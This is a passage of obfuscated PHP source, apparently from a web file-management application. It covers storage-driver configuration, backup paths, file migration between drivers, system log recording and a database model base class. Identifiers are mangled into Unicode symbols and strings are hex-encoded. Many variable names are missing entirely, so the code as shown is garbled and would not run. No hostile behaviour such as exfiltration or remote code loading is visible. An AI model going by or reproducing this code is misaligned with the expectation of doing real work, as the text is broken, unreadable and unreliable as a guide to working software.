$this->model->remove($[$θ[484]]); $ἳ = $this->backupPath($☬, $ُ); IO::remove($ἳ, !1); } } private function backupPath($߱, $ = false) { $Ꮬ =& $_SERVER[՟]; if (!$) { $ = Model($Ꮬ[854])->get($Ꮬ[855]); } $ = $߱[$Ꮬ[32]]; $ݦ = substr(md5($Ꮬ[856] . $ . $), 0, 8); return "\x7b\x69\x6f\x3a{$߱[$Ꮬ[836]]}\x7d\57\x64\x61\x74\141\142\x61\163\x65\57\x62\x61\x63\x6b\x75\160\x2f" . $ . $Ꮬ[11] . $ݦ; } public function db() { $ =& $_SERVER[՟]; $ = self::get(); if (_get($, $[857], 0) == $[101]) { return !0; } $ = new BackupDb(); if (!$->index()) { return !1; } self::set(array($[857] => 1)); return !0; } public function dbFile() { $ =& $_SERVER[՟]; $ؚ쨇 = self::get(); if (_get($ؚ쨇, $[858], 0) == $[101]) { return !0; } $߄ȕ = new BackupDbFile(); if (!$߄ȕ->index()) { return !1; } self::set(array($[858] => 1)); return !0; } public function file() { $ =& $_SERVER[՟]; $Ұ = self::get(); if (_get($Ұ, $[859], 0) == $[101]) { return !0; } if ($Ұ[$[181]] == $[860]) { $ = new BackupFile(); if (!$->index()) { return !1; } } self::set(array($[859] => 1, $[834] => 1)); return !0; } } goto Eα; Aˈ: class StorageModel extends ModelBaseLight { public $optionType = "\123\x79\163\x74\x65\x6d\x2e\163\164\157\x72\x61\147\145\114\x69\163\x74"; public $field = array("\x6e\141\x6d\x65", "\163\x69\172\145\115\x61\x78", "\163\171\x73\x74\145\155", "\144\x65\x66\141\x75\154\164", "\144\162\x69\x76\x65\162", "\x63\x6f\156\x66\x69\x67"); public function listData($Ԅ = false, $ = "\x6d\157\x64\151\x66\x79\124\x69\155\x65", $÷ = false) { $ =& $_SERVER[՟]; $മ = parent::listData($Ԅ, $, $÷); if ($Ԅ) { return $മ; } $Ӳ = array(); if ($GLOBALS[$[2303]]) { $Ӳ = $this->ioSizeUseGet(array_to_keyvalue($മ, $[12], $[484])); } foreach ($മ as $ => $) { unset($മ[$][$[6]]); $മ[$][$[1960]] = isset($Ӳ[$[$[484]]]) ? $Ӳ[$[$[484]]] : 0; } return $മ; } public function ioSizeUseGet($Ɇ) { $ =& $_SERVER[՟]; if (!$Ɇ) { return array(); } $ = $[2304] . implode($[50], $Ɇ); $ = Cache::get($); if ($) { return $; } $ = array($[901] => $[484], $[2305] => $[89]); $ = array($[901] => array($[7], $Ɇ)); $ = Model($[873])->field($)->where($)->group($[901])->select(); $ = array_to_keyvalue($, $[484], $[89]); Cache::set($, $, 600); return $; } public function getConfig($) { $ߏ = parent::listData($); return json_decode($ߏ[$_SERVER[՟][6]], !0); } public function update($ѳ, $) { $ =& $_SERVER[՟]; $ײВ = $[$[32]]; $ = array_to_keyvalue(parent::listData(), $[32]); if (isset($[$ײВ]) && $[$ײВ][$[484]] != $ѳ) { return !1; } $this->checkPwd($ѳ, $); if (isset($[$[2306]]) && $[$[2306]] == $[101]) { $this->checkConfig($); } unset($[$[2306]]); $К = parent::update($ѳ, $); if ($К && $[$[37]]) { $캠 = 0; foreach ($ as $ϩ) { if ($ϩ[$[37]] && $ϩ[$[484]] != $ѳ) { $캠 = $ϩ[$[484]]; parent::update($ϩ[$[484]], array($[37] => 0)); } } $this->updateBackup($ѳ, $캠); } return $К; } public function add($) { $ =& $_SERVER[՟]; $ȍ = array_to_keyvalue(parent::listData(), $[32]); if (isset($ȍ[$[$[32]]])) { return !1; } $this->checkConfig($); $ = parent::insert($); if ($ && $[$[37]]) { foreach ($ȍ as $̚) { if ($̚[$[37]]) { parent::update($̚[$[484]], array($[37] => 0)); } } } return $; } public function updateBackup($ˎ, $) { $酟 =& $_SERVER[՟]; if (!$) { return; } $멍Ӫ = Model($酟[832])->config(); if ($멍Ӫ[$酟[1743]] != $酟[101] || $멍Ӫ[$酟[836]] != $) { return; } $ƧƲ = Model($酟[854])->get($酟[867]); $ƧƲ = json_decode($ƧƲ, !0); if (!$ƧƲ) { return; } $ƧƲ[$酟[836]] = $ˎ; Model($酟[854])->set(array($酟[867] => $ƧƲ)); } public function checkPwd($, &$忍) { $ =& $_SERVER[՟]; if (empty($忍[$[6]])) { return; } $ = json_decode($忍[$[6]], !0); $ = $[12]; $ʊ = array($[2307], $[2308], $[970]); foreach ($ʊ as $) { if (isset($[$])) { $ = $; break; } } if (!$) { return; } $ȴ = $this->getConfig($); $묩 = $ȴ[$]; $ڑ̻ = $[$]; if ($ڑ̻ == str_repeat($[230], strlen($묩))) { $[$] = $묩; $忍[$[6]] = json_encode($); } else { if ($ڑ̻ != $묩) { $忍[$[2306]] = $[101]; } } } public function checkConfig(&$, $ = false) { $Ǒ =& $_SERVER[՟]; $ = strtolower($[$Ǒ[108]]); $ܰ = $[$Ǒ[6]]; if (!is_array($ܰ)) { $ܰ = json_decode($ܰ, !0); } foreach ($ܰ as $ܝ => $열) { if (is_string($열)) { $ܰ[$ܝ] = trim($열); } } $ܰ[$Ǒ[2309]] = rand_string(6); $ћ = $GLOBALS[$Ǒ[6]][$Ǒ[102]][$Ǒ[909]]; $ɡ = isset($ћ[$]) ? $ћ[$] : ucfirst($); $ = $Ǒ[87] . $ɡ; if (!$ɡ || !class_exists($)) { if ($) { return LNG($Ǒ[2310]); } write_log(array($Ǒ[2311], $, get_caller_info()), $Ǒ[225]); show_json(LNG($Ǒ[2310]), !1, $); } $ʼn = new $($ܰ); if (in_array($, $ʼn->objectDriver)) { try { if (!$ʼn->isBucketCors() && !$ʼn->setBucketCors()) { $ = LNG($Ǒ[2312]); $ .= $Ǒ[2313] . LNG($Ǒ[2314]); } } catch (Exception $ͤ) { $ = $ͤ->getMessage(); } if (isset($)) { return $this->_parseError($, $, $); } if ($ == $Ǒ[78] && !$ʼn->checkRegion()) { return $this->_parseError(LNG($Ǒ[2315]), $, $); } } $û = rtrim($ܰ[$Ǒ[1265]], $Ǒ[8]) . $Ǒ[8]; $ȬȎ = $ʼn->getPath($û . $Ǒ[1269]); try { if ($ == $Ǒ[119]) { $ʼn->mkdir($û); } $ = $ʼn->mkfile($ȬȎ); if (!$) { $ = LNG($Ǒ[2312]); } } catch (Exception $ͤ) { $ = $ͤ->getMessage(); } if (isset($)) { return $this->_parseError($, $, $); } $ܰ[$Ǒ[1265]] = $û; $[$Ǒ[6]] = json_encode($ܰ); $[$Ǒ[108]] = $ɡ; return !0; } private function _parseError($, $炼, $ = false) { $쮚 =& $_SERVER[՟]; if ($炼 == $쮚[78] && stripos($, $쮚[2316])) { $ = explode($쮚[10], $); $ŧĨ = isset($[1]) ? $[1] : $쮚[12]; $ذ = array($쮚[2317] => LNG($쮚[2318]), $쮚[2319] => LNG($쮚[2320])); if (isset($ذ[$ŧĨ])) { $ = $ذ[$ŧĨ]; } } if (stripos($, $쮚[2321]) === 0) { $ = strpos($, $쮚[188]); if ($ === !1) { $ = strpos($, $쮚[4]); } if ($ !== !1) { $ = substr($, $ + 1); } } $ = LNG($쮚[1272]) . $; if ($) { return $; } show_json($, !1); } public function driverListSystem() { $ =& $_SERVER[՟]; $ϩ = parent::listData(); $ȸ = array(); foreach ($ϩ as $Ɋ) { unset($Ɋ[$[241]], $Ɋ[$[98]]); $Ɋ[$[6]] = json_decode($Ɋ[$[6]], !0); $ȸ[] = $Ɋ; } return $ȸ; } public function defaultDriver() { $ =& $_SERVER[՟]; $Ԛ = parent::listData(); $ΑӃɫ = array_filter_by_field($Ԛ, $[37], 1); $ΑӃɫ = $ΑӃɫ[0]; if ($ΑӃɫ) { $ΑӃɫ[$[6]] = json_decode($ΑӃɫ[$[6]], !0); } return $ΑӃɫ; } public function driverInfo($) { $ =& $_SERVER[՟]; $㢈 = array_to_keyvalue(parent::listData(), $[484]); if (!isset($㢈[$])) { return !1; } $ = $㢈[$]; $[$[6]] = json_decode($[$[6]], !0); return $; } public function remove($ԇ) { $this->removeShareItems($ԇ); return parent::remove($ԇ); } public function removeWithFile($, $ݻ, $, $ = false) { $ͱԬ =& $_SERVER[՟]; $ = array($ͱԬ[901] => $); $⧱ = Model($ͱԬ[553])->where($)->count(); $؆ = Model($ͱԬ[553])->where($)->sum($ͱԬ[89]); $ = $ݻ . $ͱԬ[2322] . $; $ = LNG($ݻ == $ͱԬ[629] ? $ͱԬ[2323] : $ͱԬ[2324]); $ = new TaskFileTransfer($, $ͱԬ[225], $⧱, $ . $ͱԬ[471] . $[$ͱԬ[32]] . $ͱԬ[224] . $); $->task[$ͱԬ[847]] = (double) $؆; $ = KodIO::defaultDriver(); $ェ = $[$ͱԬ[484]]; $ = $к = $Շ = array(); $鳁 = Model($ͱԬ[240])->where($)->field($ͱԬ[2325])->select(); foreach ($鳁 as $곇) { $ = $곇[$ͱԬ[550]]; if ($) { $к[] = $; continue; } $ؗ牢 = $곇[$ͱԬ[97]]; $ = get_path_father($ؗ牢); $Շ[] = $; $ = str_replace("\173\151\x6f\72{$}\175\x2f", "\x7b\151\x6f\72{$ェ}\175\57", $); if (!IO::exist($ؗ牢)) { $[] = $; $->updateFileEnd($곇[$ͱԬ[32]], $곇[$ͱԬ[89]]); write_log($ͱԬ[2326] . $ؗ牢, $ͱԬ[1903]); continue; } $ = IO::move($ؗ牢, $, REPEAT_RENAME); if (!$) { $к[] = $; $->updateFileEnd($곇[$ͱԬ[32]], $곇[$ͱԬ[89]]); write_log($ͱԬ[2327] . $ؗ牢, $ͱԬ[1903]); continue; } $ = array($ͱԬ[550] => $); $ = array($ͱԬ[901] => $ェ, $ͱԬ[97] => $); Model($ͱԬ[240])->where($)->save($); } $ = $->task; if (!$) { Cache::set($, $); } $->end(); $ = array_unique($); $к = array_unique($к); if (!$ && ($ || $к)) { $ = array(); if ($) { $[] = sprintf(LNG($ͱԬ[2328]), count($)); } if ($к) { $[] = sprintf(LNG($ͱԬ[2329]), count($к)); } $ = sprintf(LNG($ͱԬ[2330]), implode($ͱԬ[2331], $)) . $ͱԬ[2332] . date($ͱԬ[2333]) . $ͱԬ[2334]; if ($ݻ == $ͱԬ[1940]) { $ .= $ͱԬ[2335] . LNG($ͱԬ[2336]); } $[$ͱԬ[1267]] = $; Cache::set($, $); unset($[$ͱԬ[6]]); $ި = array($ͱԬ[484] => $, $ͱԬ[2210] => $ͱԬ[629], $ͱԬ[32] => $[$ͱԬ[32]], $ͱԬ[1290] => $); Hook::trigger($ͱԬ[1784], array($ͱԬ[1290] => $ި, $ͱԬ[1300] => !0)); show_json($, !1, 100111); } if ($ݻ == $ͱԬ[629]) { return !0; } if ($ || $к) { $И = array_merge($, $к); $И = array_filter(array_unique($И)); $this->removeByFileID($И); } if ($Շ) { $Շ = array_filter(array_unique($Շ)); foreach ($Շ as $ؗ牢) { $ = IO::has($ؗ牢, !0); if (!$[$ͱԬ[249]] && !$[$ͱԬ[250]]) { IO::remove($ؗ牢); } } } return $this->remove($); } private function removeByFileID($ُʼn = array()) { $ =& $_SERVER[՟]; if (empty($ُʼn)) { return; } $ = array($[550] => array($[7], $ُʼn)); $Ɩ = Model($[1421])->where($)->field($[203])->select(); if (!$Ɩ) { return Model($[553])->remove($ُʼn); } $Ɩ = array_to_keyvalue($Ɩ, $[12], $[203]); foreach ($Ɩ as $˭) { Model($[908])->removeNow($˭, !1); } } private function removeShareItems($) { $͋ =& $_SERVER[՟]; $ = "\x7b\151\157\72{$}\175\x2f"; $ = array($͋[203] => 0, $͋[1260] => array($͋[468], "{$}\x25")); $ = Model($͋[1951])->where($)->field($͋[674])->select(); if (empty($)) { return; } $ = array_to_keyvalue($, $͋[12], $͋[674]); Model($͋[673])->remove($); } } class SystemLightAppModel extends ModelBaseLight { public $optionType = "\123\171\x73\x74\x65\x6d\x2e\114\x69\x67\x68\x74\x41\160\160"; public $modelType = "\123\171\163\x74\145\155\117\x70\x74\x69\157\156"; public $field = array("\x6e\141\x6d\x65", "\147\x72\157\165\x70", "\144\145\163\x63", "\x63\157\156\164\145\156\x74"); public function listData($ = false, $ԧ = "\x6d\x6f\144\151\146\x79\124\151\155\x65", $⠓ێ = true) { return parent::listData($, $ԧ, $⠓ێ); } public function remove($ޖ) { $Н = $this->findByName($ޖ); if (!$Н) { return !1; } return parent::remove($Н[$_SERVER[՟][484]]); } public function add($) { if ($this->findByName($[$_SERVER[՟][32]])) { return !1; } return parent::insert($); } public function update($媵, $Ԭ) { $ =& $_SERVER[՟]; $͔އ۰ = $this->findByName($媵); $Ś = $this->findByName($Ԭ[$[32]]); if (!$͔އ۰ || $Ś && $Ś[$[484]] != $͔އ۰[$[484]]) { return !1; } return parent::update($͔އ۰[$[484]], $Ԭ); } } class SystemLogModel extends ModelBase { protected $tableName = "\163\171\163\x74\145\x6d\137\x6c\x6f\147"; protected $dataAuto = array(array("\143\162\x65\x61\x74\x65\124\x69\155\x65", "\164\x69\155\145", "\x69\156\x73\145\162\164", "\x66\x75\156\143\164\x69\x6f\x6e")); public $typeList; function __construct() { parent::__construct(); $this->typeList = $this->typeListAll(); } public function typeListAll() { $ǽʢ =& $_SERVER[՟]; return array($ǽʢ[2337] => LNG($ǽʢ[2338]), $ǽʢ[2339] => LNG($ǽʢ[2340]), $ǽʢ[1914] => LNG($ǽʢ[2341]), $ǽʢ[2342] => LNG($ǽʢ[2343]), $ǽʢ[2344] => LNG($ǽʢ[2345]), $ǽʢ[2346] => LNG($ǽʢ[2347]), $ǽʢ[2348] => LNG($ǽʢ[2349]), $ǽʢ[1944] => LNG($ǽʢ[2349]), $ǽʢ[1945] => LNG($ǽʢ[2350]), $ǽʢ[2351] => LNG($ǽʢ[2352]), $ǽʢ[2353] => LNG($ǽʢ[2354]), $ǽʢ[2355] => LNG($ǽʢ[2356]), $ǽʢ[2357] => LNG($ǽʢ[2358]), $ǽʢ[1942] => LNG($ǽʢ[2359]), $ǽʢ[2360] => LNG($ǽʢ[2361]), $ǽʢ[1949] => LNG($ǽʢ[2362]), $ǽʢ[2363] => LNG($ǽʢ[2364]), $ǽʢ[2365] => LNG($ǽʢ[2366]), $ǽʢ[2367] => LNG($ǽʢ[2368]), $ǽʢ[2369] => LNG($ǽʢ[2370]), $ǽʢ[1952] => LNG($ǽʢ[2371]), $ǽʢ[1953] => LNG($ǽʢ[2372]), $ǽʢ[2373] => LNG($ǽʢ[2374]), $ǽʢ[2375] => LNG($ǽʢ[2376]), $ǽʢ[2377] => LNG($ǽʢ[2378]), $ǽʢ[1947] => LNG($ǽʢ[2379]), $ǽʢ[2380] => LNG($ǽʢ[2381]), $ǽʢ[1946] => LNG($ǽʢ[2382]), $ǽʢ[2383] => LNG($ǽʢ[2384]), $ǽʢ[2385] => LNG($ǽʢ[2386]), $ǽʢ[2387] => LNG($ǽʢ[2386]), $ǽʢ[2388] => LNG($ǽʢ[2389]), $ǽʢ[2390] => LNG($ǽʢ[2390]), $ǽʢ[2391] => LNG($ǽʢ[1918]), $ǽʢ[2392] => LNG($ǽʢ[2393]), $ǽʢ[2394] => LNG($ǽʢ[2395]), $ǽʢ[2396] => LNG($ǽʢ[2397]), $ǽʢ[2398] => LNG($ǽʢ[2399]), $ǽʢ[2400] => LNG($ǽʢ[2401]), $ǽʢ[2402] => LNG($ǽʢ[2402]), $ǽʢ[2403] => LNG($ǽʢ[2404]), $ǽʢ[2405] => LNG($ǽʢ[2406]), $ǽʢ[2407] => LNG($ǽʢ[2408]), $ǽʢ[2409] => LNG($ǽʢ[2410]), $ǽʢ[2411] => LNG($ǽʢ[2412]), $ǽʢ[2413] => LNG($ǽʢ[2414]), $ǽʢ[222] => LNG($ǽʢ[222]), $ǽʢ[223] => LNG($ǽʢ[2415]), $ǽʢ[2416] => LNG($ǽʢ[2416])); } private function typeFile() { $蠟 =& $_SERVER[՟]; $ = array($蠟[1949] => array($蠟[1950]), $蠟[2355] => array($蠟[2417]), $蠟[2357] => array($蠟[2418]), $蠟[1942] => array($蠟[1943], $蠟[2419]), $蠟[2365] => array(), $蠟[2367] => array(), $蠟[2369] => array(), $蠟[1952] => array($蠟[1954]), $蠟[1953] => array($蠟[1954]), $蠟[2373] => array($蠟[2420]), $蠟[2375] => array($蠟[2420]), $蠟[2377] => array($蠟[2421]), $蠟[2363] => array($蠟[2422]), $蠟[1947] => array($蠟[2423]), $蠟[2380] => array($蠟[2424]), $蠟[1946] => array($蠟[1948])); return $; } private function typeAll() { $dz =& $_SERVER[՟]; $ = $this->typeList; $ = array_filter($this->typeFile()); foreach ($ as $ת => $Ɲ) { $[$Ɲ[0]] = $[$ת]; } $[$dz[1954]] = LNG($dz[2425]); $[$dz[2420]] = LNG($dz[2426]); return $; } public function addLog($, $媘 = array()) { $ =& $_SERVER[՟]; if (!isset($this->typeList[$])) { return; } $ = Session::get($[2113]); if (!$) { $ = _get($媘, $[1773], 0); } if ($ == $[2392] && is_array($媘[$[2427]]) && !$媘[$[2427]]) { return; } $ = get_client_ip(); if (!$媘 || strlen(json_encode($媘)) >= 1024 * 64) { if ($媘 && is_array($媘)) { $媘 = array_intersect_key($媘, array_flip($[484], $[32])); $媘[$[2428]] = $; } else { $媘 = array($[2428] => $); } } else { if (is_array($媘)) { $媘[$[2428]] = $; } else { $媘 = array($[1290] => $媘, $[2428] => $); } } $媘 = array($[1763] => Session::sign(), $[1764] => intval($), $[33] => $, $[1766] => json_encode($媘)); parent::add($媘); } public function remove($ļ) { $this->where(array($_SERVER[՟][502] => $ļ))->delete(); } private function _makeOrder($ŹЃ = '') { $㾞 =& $_SERVER[՟]; $ = $㾞[241]; $ = array($㾞[532] => $㾞[533], $㾞[534] => $㾞[535]); $ = Input::get($㾞[540], $㾞[7], $㾞[2149], array($㾞[2067], $㾞[534])); $ = $[$]; $ŹЃ = $ŹЃ . "{$}\x20{$}"; return $this->order($ŹЃ); } public function get($ = '') { $亍 =& $_SERVER[՟]; if (!$) { show_json(array()); } $ = array(); if ($[$亍[1773]]) { $[$亍[1773]] = $[$亍[1773]]; } if (isset($[$亍[844]])) { $ = $[$亍[844]]; $ = isset($[$亍[845]]) ? $[$亍[845]] : time(); $[$亍[241]] = array($亍[418], array($, $)); } if ($[$亍[33]]) { $ = explode($亍[50], $[$亍[33]]); $ = $this->typeFile(); $ = array(); foreach ($ as $) { $[] = $; if (isset($[$])) { $ = array_merge($, $[$]); } } $ = array_unique($); if ($) { $[$亍[33]] = array($亍[7], $); } } else { $[$亍[33]] = array($亍[2429], $亍[2430]); } if (!empty($[$亍[2428]])) { $[$亍[535]] = array($亍[468], "\45{$[$亍[2428]]}\45"); } $ˤ = $this->_makeOrder()->where($)->selectPage(); if (empty($ˤ[$亍[454]])) { show_json(array(), !0, $ˤ[$亍[451]]); } $ˤ[$亍[454]] = $this->logList($ˤ[$亍[454]]); return $ˤ; } private function ipAddress(&$) { $ =& $_SERVER[՟]; if (!empty($[$[2428]])) { $ = IpLocation::get($[$[2428]]); } else { $ = LNG($[2431]); } $[$[2432]] = $; } private function descZipDownload($dz, &$) { $ =& $_SERVER[՟]; if (!isset($dz[$[2433]])) { return; } $ϫ = json_decode($dz[$[2433]], !0); foreach ($ϫ as $מ) { try { $ = IO::infoFullSimple($מ[$[97]]); } catch (Exception $ϙ) { continue; } $dz[$[97]] = $מ[$[97]]; $[] = $dz[$[203]] = $[$[203]]; $[] = $dz[$[2205]] = $[$[202]]; break; } return $dz; } private function getSourceList(&$ւ) { $Ҁ쁫 =& $_SERVER[՟]; $ћʮ = array(); foreach ($ւ as $כ => $) { $ӈ = json_decode($[$Ҁ쁫[535]], !0); if ($[$Ҁ쁫[33]] == $Ҁ쁫[1945]) { $ӈ = $this->descZipDownload($ӈ, $ћʮ); $ւ[$כ][$Ҁ쁫[535]] = json_encode($ӈ); continue; } if (strpos($[$Ҁ쁫[33]], $Ҁ쁫[2207]) !== 0) { if (!isset($ӈ[$Ҁ쁫[97]]) || strpos($[$Ҁ쁫[33]], $Ҁ쁫[2434]) !== 0) { continue; } try { $¬ = IO::infoFullSimple($ӈ[$Ҁ쁫[97]]); } catch (Exception $«) { continue; } $ћʮ[] = $ӈ[$Ҁ쁫[203]] = $¬[$Ҁ쁫[203]]; $ћʮ[] = $ӈ[$Ҁ쁫[2205]] = $¬[$Ҁ쁫[202]]; $ւ[$כ][$Ҁ쁫[535]] = json_encode($ӈ); continue; } $ћʮ[] = $ӈ[$Ҁ쁫[203]]; $ћʮ[] = $ӈ[$Ҁ쁫[2205]]; if ($ӈ[$Ҁ쁫[33]] == $Ҁ쁫[629]) { $ћʮ[] = $ӈ[$Ҁ쁫[535]][$Ҁ쁫[1244]]; $ћʮ[] = $ӈ[$Ҁ쁫[535]][$Ҁ쁫[1245]]; } if ($ӈ[$Ҁ쁫[33]] == $Ҁ쁫[2216]) { $ћʮ[] = $ӈ[$Ҁ쁫[535]][$Ҁ쁫[203]]; } } if (!$ћʮ) { return array(); } return Model($Ҁ쁫[908])->sourceListInfo($ћʮ, !0); } private function logList($) { $Ԓ =& $_SERVER[՟]; $ = array_to_keyvalue($, $Ԓ[12], $Ԓ[1773]); $ = Model($Ԓ[607])->userListInfo(array_unique($)); $ҋ = $this->getSourceList($); $ = $this->typeAll(); $ = array(); $嶉 = array(); foreach ($ as $Қ => $ďš) { $ե҆ = $ďš[$Ԓ[33]]; $ = isset($[$ďš[$Ԓ[1773]]]) ? $[$ďš[$Ԓ[1773]]] : !1; $ޅ = strpos($ե҆, $Ԓ[2435]) === 0 ? LNG($Ԓ[2436]) : LNG($Ԓ[2431]); $ďš[$Ԓ[32]] = isset($[$Ԓ[32]]) ? $[$Ԓ[32]] : LNG($Ԓ[2431]); $ďš[$Ԓ[2265]] = isset($[$Ԓ[2265]]) ? $[$Ԓ[2265]] : $Ԓ[12]; $ďš[$Ԓ[1662]] = isset($[$ե҆]) ? $[$ե҆] : $ޅ; $ďš[$Ԓ[2148]] = $; $ۗ = json_decode($ďš[$Ԓ[535]], !0); $ďš[$Ԓ[2428]] = isset($ۗ[$Ԓ[2428]]) ? $ۗ[$Ԓ[2428]] : $Ԓ[12]; $ďš[$Ԓ[2432]] = IpLocation::get($ďš[$Ԓ[2428]]); if (strpos($ե҆, $Ԓ[2207]) === 0 || isset($ۗ[$Ԓ[2205]])) { $ۗ[$Ԓ[100]] = $ҋ[$ۗ[$Ԓ[203]]]; $ۗ[$Ԓ[2221]] = $ҋ[$ۗ[$Ԓ[2205]]]; if ($ۗ[$Ԓ[33]] == $Ԓ[629]) { $ۗ[$Ԓ[535]][$Ԓ[1244]] = $ҋ[$ۗ[$Ԓ[535]][$Ԓ[1244]]]; $ۗ[$Ԓ[535]][$Ԓ[1245]] = $ҋ[$ۗ[$Ԓ[535]][$Ԓ[1245]]]; } if ($ۗ[$Ԓ[33]] == $Ԓ[2216]) { $ۗ[$Ԓ[535]][$Ԓ[203]] = $ҋ[$ۗ[$Ԓ[535]][$Ԓ[203]]]; } if ($ۗ[$Ԓ[33]] == $Ԓ[1940]) { $ۗ[$Ԓ[2221]] = $ۗ[$Ԓ[100]]; $ۗ[$Ԓ[2205]] = $ۗ[$Ԓ[2221]][$Ԓ[203]]; $ۗ[$Ԓ[100]] = !1; $ۗ[$Ԓ[203]] = $Ԓ[12]; } $ڥ = array($Ԓ[1940], $Ԓ[2203]); if (!in_array($ۗ[$Ԓ[33]], $ڥ)) { if ($ۗ[$Ԓ[100]] && $ۗ[$Ԓ[100]][$Ԓ[200]] == $Ԓ[201]) { $嶉[] = $ďš[$Ԓ[484]]; unset($[$Қ]); continue; } if ($ۗ[$Ԓ[2221]] && $ۗ[$Ԓ[2221]][$Ԓ[200]] == $Ԓ[201]) { $嶉[] = $ďš[$Ԓ[484]]; unset($[$Қ]); continue; } } } $ďš[$Ԓ[535]] = $ۗ; unset($ďš[$Ԓ[2437]]); $[] = $ďš; } $this->clearSystemPathLog($嶉); return $; } private function clearSystemPathLog($ߍ) { $ =& $_SERVER[՟]; if (count($ߍ) == 0) { return; } $ͩ = array($[484] => array($[7], array_unique($ߍ))); $this->where($ͩ)->delete(); } public function deviceList($Ѳ, $ = 0) { $ =& $_SERVER[՟]; $ = array($[1773] => $Ѳ, $[241] => array($[1095], $), $[33] => $[1914]); $ = array(); $ = $this->field($[2438])->where($)->order($[2219])->limit(50)->select(); foreach ($ as $Ͼ => $܀) { if ($Ͼ > 0 && abs($܀[$[241]] - $[$Ͼ - 1][$[241]]) < 5) { continue; } $ = json_decode($܀[$[535]], !0); $܀[$[2428]] = isset($[$[2428]]) ? $[$[2428]] : $[12]; unset($[$[2428]]); $ = $this->deviceType($[$[2208]]); if (isset($[$])) { continue; } $܀[$[2432]] = IpLocation::get($܀[$[2428]]); $܀[$[535]] = $; $[$] = $܀; } return array_values($); } public function deviceType($º) { return $º; } } goto E; Căݼ: define($_SERVER[՟][328], 0); define($_SERVER[՟][329], 2); class Model extends ClassBaseCall { private $_extModel = null; protected $db = null; protected $pk = "\151\x64"; protected $tablePrefix = ''; protected $name = ''; protected $dbName = ''; protected $connection = ''; protected $tableName = ''; protected $trueTableName = ''; protected $error = ''; protected $fields = array(); protected $data = array(); protected $options = array(); protected $_validate = array(); protected $_auto = array(); protected $_map = array(); protected $_scope = array(); protected $autoCheckFields = true; protected $patchValidate = false; protected $methods = array("\x74\x61\x62\154\x65", "\x6f\162\x64\145\162", "\x61\154\151\x61\163", "\150\x61\166\151\x6e\x67", "\x67\162\157\165\x70", "\154\x6f\x63\153", "\144\151\x73\x74\151\x6e\143\x74", "\x61\165\164\157", "\x66\x69\x6c\164\145\162", "\166\141\154\x69\144\141\x74\x65", "\x72\x65\163\x75\x6c\x74", "\x62\151\x6e\x64", "\x74\x6f\x6b\x65\x6e"); public function __construct($ȉ = '', $Ӧ = '', $Ӿ = '') { $݉Ӂ =& $_SERVER[՟]; $this->_initialize(); if (!empty($ȉ)) { if (strpos($ȉ, $݉Ӂ[10])) { list($this->dbName, $this->name) = explode($݉Ӂ[10], $ȉ); } else { $this->name = $ȉ; } } elseif (empty($this->name)) { $this->name = $this->getModelName(); } if (is_null($Ӧ)) { $this->tablePrefix = $݉Ӂ[12]; } elseif ($݉Ӂ[12] != $Ӧ) { $this->tablePrefix = $Ӧ; } else { $this->tablePrefix = $this->tablePrefix ? $this->tablePrefix : think_config($݉Ӂ[330]); } $this->db(0, empty($this->connection) ? $Ӿ : $this->connection); $this->_classObjectID = mt_rand(0, 10000); } protected function _checkTableInfo() { $ԟݬ =& $_SERVER[՟]; if (empty($this->fields)) { if (think_config($ԟݬ[331])) { $ = $this->dbName ? $this->dbName : think_config($ԟݬ[332]); $뗃 = think_var_cache($ԟݬ[333] . strtolower(get_path_this($) . $ԟݬ[10] . $this->name)); if ($뗃) { $֏윘 = think_config($ԟݬ[334]); if (empty($֏윘) || $뗃[$ԟݬ[335]] == $֏윘) { $this->fields = $뗃; return; } } } $this->flush(); } } public function flush() { $ӎ =& $_SERVER[՟]; $this->db->setModel($this->name); $ḇ = $this->db->getFields($this->getTableName()); if (!$ḇ) { return !1; } $this->fields = array_keys($ḇ); $this->fields[$ӎ[336]] = !1; foreach ($ḇ as $א => $◵) { $[$א] = $◵[$ӎ[33]]; if ($◵[$ӎ[39]]) { $this->fields[$ӎ[337]] = $א; if ($◵[$ӎ[42]]) { $this->fields[$ӎ[336]] = !0; } } } $this->fields[$ӎ[338]] = $; if (think_config($ӎ[334])) { $this->fields[$ӎ[335]] = think_config($ӎ[334]); } if (think_config($ӎ[331])) { $Ĝ = $this->dbName ? $this->dbName : think_config($ӎ[332]); think_var_cache($ӎ[333] . strtolower(get_path_this($Ĝ) . $ӎ[10] . $this->name), $this->fields); } } public function switchModel($, $ = array()) { $˛ =& $_SERVER[՟]; $ = ucwords(strtolower($)) . $˛[339]; if (!class_exists($)) { think_exception($ . think_lang($˛[340])); } $this->_extModel = new $($this->name); if (!empty($)) { foreach ($ as $) { $this->_extModel->setProperty($, $this->{$}); } } return $this->_extModel; } public function __set($ϰ, $텋) { $this->data[$ϰ] = $텋; } public function __get($ȝ) { return isset($this->data[$ȝ]) ? $this->data[$ȝ] : null; } public function __isset($) { return isset($this->data[$]); } public function __unset($֤) { unset($this->data[$֤]); } public function __call($, $Ђ) { $ =& $_SERVER[՟]; if (in_array(strtolower($), $this->methods, !0)) { $this->options[strtolower($)] = $Ђ[0]; return $this; } elseif (in_array(strtolower($), array($[341], $[342], $[343], $[344], $[345]), !0)) { $ = isset($Ђ[0]) ? $Ђ[0] : $[230]; $ = $this->db->parseKey($); return $this->getField(strtoupper($) . $[346] . $ . $[347] . $, $[341]); } elseif (strtolower(substr($, 0, 5)) == $[348]) { $ = think_parse_name(substr($, 5)); $Ὃ[$] = $Ђ[0]; return $this->where($Ὃ)->find(); } elseif (strtolower(substr($, 0, 10)) == $[349]) { $ = think_parse_name(substr($, 10)); $Ὃ[$] = $Ђ[0]; return $this->where($Ὃ)->getField($Ђ[1]); } elseif (isset($this->_scope[$])) { return $this->scope($, $Ђ[0]); } elseif (method_exists($this, $)) { array_unshift($Ђ, $); return call_user_func_array(array($this, $[350]), $Ђ); } else { return call_user_func_array(array(parent, $), $Ђ); } } protected function call() { $ =& $_SERVER[՟]; $lj = func_get_args(); $ʲ = array_shift($lj); $ = $ʲ; if (is_array($ʲ)) { $ = $ʲ[1]; $ʲ = $ʲ[0]; } $̚ = count($lj) - 1; if (isset($lj[$̚]) && $lj[$̚] === $ʲ) { think_exception(__CLASS__ . $[4] . $ʲ . think_lang($[351])); return; } $lj[] = $ʲ; if (method_exists($this, $[352])) { $غ = call_user_func_array(array($this, $[353]), array($, $lj)); if (!is_null($غ) && $غ !== !1) { return $غ; } } $Ê = call_user_func_array(array($this, $ʲ), $lj); if (method_exists($this, $[354])) { $غ = call_user_func_array(array($this, $[355]), array($, $lj, $Ê)); if ($غ) { return $غ; } } return $Ê; } protected 